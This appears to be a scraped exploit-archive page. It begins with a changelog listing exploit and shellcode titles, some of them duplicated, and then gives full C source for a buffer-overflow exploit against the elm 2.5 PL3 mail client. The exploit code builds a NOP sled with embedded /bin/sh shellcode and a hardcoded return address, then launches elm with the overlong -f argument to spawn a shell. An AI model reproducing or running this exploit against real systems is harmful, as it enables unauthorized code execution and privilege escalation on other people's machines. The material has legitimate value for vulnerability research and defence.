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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
54 lines
No EOL
1.6 KiB
C
54 lines
No EOL
1.6 KiB
C
// source: https://www.securityfocus.com/bid/2403/info
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There is a buffer overflow in elm 2.5 PL3. This overflow is accessible by passing a long string to the -f (Alternative-Folder) command-line option. This vulnerability may not be restricted to this version of elm.
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/***
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-------------
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elm253-exploit.c
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-------------
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***/
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#include <stdlib.h>
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#define NOP 0x90
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#define LEN 356
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#define OFFSET 0
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#define RET 0xbffffa64
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unsigned long dame_sp() {
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__asm__("movl %esp,%eax");
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}
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void main() {
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static char shellcode[]=
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/* "\x31\xc0" */ /* xorl %eax,%eax */
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/* "\x31\xdb" */ /* xorl %ebx,%ebx */
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/* "\xb0\x17" */ /* movb $0x17,%al */
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/* "\xcd\x80" */ /* int $0x80 */
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"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
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"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
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int i=0;
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int cont=0;
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char buffer[LEN+4];
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char kid[6+LEN+4];
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printf("-------------------------------------\n");
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printf("elm buffer overflow exploit by _kiss_\n");
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printf("-------------------------------------\n");
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for (i=0;i<=LEN;i+=4)
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*(long *) &buffer[i] = RET;
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for (i=0;i<LEN-strlen(shellcode)-100;i++)
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buffer[i]=NOP;
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for (i=LEN-strlen(shellcode)-100;i<LEN-100;i++)
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buffer[i]=shellcode[cont++];
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strcpy(kid,"KID=");
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strcat(kid,buffer);
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putenv(kid);
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system("/usr/local/bin/elm -f $KID");
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} |